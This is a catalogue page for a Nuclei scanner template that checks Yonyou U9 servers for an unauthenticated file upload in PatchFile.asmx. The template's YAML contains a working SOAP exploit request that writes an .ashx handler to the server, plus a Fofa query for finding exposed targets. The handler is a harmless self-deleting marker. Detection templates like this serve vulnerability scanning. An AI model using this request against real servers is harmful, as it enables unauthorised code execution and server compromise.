SecurityContext

yonyou-u9-patchfile-upload: Yonyou U9 PatchFile.asmx - Unauthenticated Arbitrary File Upload

  • Template: yonyou-u9-patchfile-upload
  • Name: Yonyou U9 PatchFile.asmx - Unauthenticated Arbitrary File Upload
  • Description: An arbitrary file upload vulnerability in U9 PatchFile.asmx allows attackers to upload files to the server.This can lead to various security issues including remote code execution.
  • Severity: critical
  • Authors: Co5mos, ProjectDiscoveryAI
  • Tags: unauth, file-upload, yonyou, u9, rce, vuln
  • Verified: yes
  • Directory: http/vulnerabilities
  • Path: http/vulnerabilities/yonyou/yonyou-u9-patchfile-upload.yaml
  • Digest: 490a0046304402207b76824ccf0b3615bda5fe2803cc3d20ed0d1da0bc0d1d9f7a1edb5a7b8ff056022050eadeb55586f4092e141ed2e2be0e4278525bdf1de2efa44ae52b34991a5e8a
  • Created at: 2025-11-25T06:11:15Z
  • Updated at: 2026-09-08T09:47:47Z
  • Age in days: 364
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/yonyou/yonyou-u9-patchfile-upload.yaml
  • Checked, none or zero: references, cves, products
  • Not known: impact, remediation, max requests

Classification

  • Checked, none or zero: cwe
  • Not known: cvss score, cvss vector, epss score, epss percentile, cpe

Metadata

  • Fofa-query: title="U9-登录"
  • Verified: yes

Labels

  • Name: Yonyou U9 - Unrestricted File Upload
  • Impact: Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  • Remediation: Update to the latest version of Yonyou U9.
  • Vulnerability type: unrestricted_file_upload
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: yonyou-u9-patchfile-upload

info:

name: Yonyou U9 PatchFile.asmx - Unauthenticated Arbitrary File Upload

author: Co5mos,ProjectDiscoveryAI

severity: critical

description: |

An arbitrary file upload vulnerability in U9 PatchFile.asmx allows attackers to upload files to the server.This can lead to various security issues including remote code execution.

metadata:

verified: true

fofa-query: title="U9-登录"

tags: unauth,file-upload,yonyou,u9,rce,vuln

variables:

filename: '{{rand_base(5)}}.ashx'

flow: http(1) && http(2)

http:

- raw:

- |

POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1

Host: {{Hostname}}

Content-Type: text/xml; charset=utf-8

SOAPAction: "http://tempuri.org/SaveFile"

<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

<soap:Body>

<SaveFile xmlns="http://tempuri.org/">

<binData>PCVAIFdlYkhhbmRsZXIgTGFuZ3VhZ2U9IkMjIiBDbGFzcz0iRGVsZXRlQ3VycmVudEZpbGUiICU+DQoNCiAgICB1c2luZyBTeXN0ZW07DQogICAgdXNpbmcgU3lzdGVtLldlYjsNCiAgICB1c2luZyBTeXN0ZW0uSU87DQoNCiAgICBwdWJsaWMgY2xhc3MgRGVsZXRlQ3VycmVudEZpbGUgOiBJSHR0cEhhbmRsZXIgew0KICAgICAgICANCiAgICAgICAgcHVibGljIHZvaWQgUHJvY2Vzc1JlcXVlc3QgKEh0dHBDb250ZXh0IGNvbnRleHQpIHsNCiAgICAgICAgICAgIGludCByZXN1bHQgPSAxMTExICogMjIyMjsNCiAgICAgICAgICAgIGNvbnRleHQuUmVzcG9uc2UuQ29udGVudFR5cGUgPSAidGV4dC9wbGFpbiI7DQogICAgICAgICAgICBjb250ZXh0LlJlc3BvbnNlLldyaXRlKHJlc3VsdCk7DQoNCiAgICAgICAgICAgIHN0cmluZyBmaWxlUGF0aCA9IGNvbnRleHQuU2VydmVyLk1hcFBhdGgoY29udGV4dC5SZXF1ZXN0LkN1cnJlbnRFeGVjdXRpb25GaWxlUGF0aCk7DQogICAgICAgICAgICBpZiAoRmlsZS5FeGlzdHMoZmlsZVBhdGgpKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgRmlsZS5EZWxldGUoZmlsZVBhdGgpOw0KICAgICAgICAgICAgICAgICAgICBjb250ZXh0LlJlc3BvbnNlLldyaXRlKCJcbkZpbGUgZGVsZXRlZCBzdWNjZXNzZnVsbHkuIik7DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uIGV4KSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRleHQuUmVzcG9uc2UuV3JpdGUoIlxuRXJyb3IgZGVsZXRpbmcgZmlsZTogIiArIGV4Lk1lc3NhZ2UpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgY29udGV4dC5SZXNwb25zZS5Xcml0ZSgiXG5GaWxlIG5vdCBmb3VuZC4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIA0KICAgICAgICBwdWJsaWMgYm9vbCBJc1JldXNhYmxlIHsNCiAgICAgICAgICAgIGdldCB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0K fQ0KICAgICAgICB9DQogICAgfQ==</binData>

<path>./</path>

<fileName>{{filename}}</fileName>

</SaveFile>

</soap:Body>

</soap:Envelope>

matchers:

- type: word

part: body

words:

- "<SaveFileResult>true</SaveFileResult>"

internal: true

- raw:

- |

GET /CS/Office/AutoUpdates/{{filename}} HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- status_code == 200

- contains_all(body, "2468642","File deleted successfully")

condition: and

digest: 490a0046304402207b76824ccf0b3615bda5fe2803cc3d20ed0d1da0bc0d1d9f7a1edb5a7b8ff056022050eadeb55586f4092e141ed2e2be0e4278525bdf1de2efa44ae52b34991a5e8a:922c64590222798bb761d5b6d8e72950

```